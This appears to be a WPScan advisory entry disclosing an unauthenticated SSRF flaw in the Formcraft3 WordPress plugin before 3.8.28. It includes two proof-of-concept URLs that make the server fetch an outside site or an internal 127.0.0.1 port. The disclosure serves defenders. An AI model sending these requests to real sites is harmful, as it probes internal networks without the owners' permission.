WordPress Plugin Vulnerabilities
Formcraft3 < 3.8.28 - Unauthenticated SSRF
Description
The plugin does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by unauthenticated users
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://wpscan.com https://example.com/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://127.0.0.1:8181
Affects Plugins
Fixed in 3.8.28 References
CVE
Classification
Type
SSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-28 (about 2 years ago)
Added
2022-02-28 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
WPScan 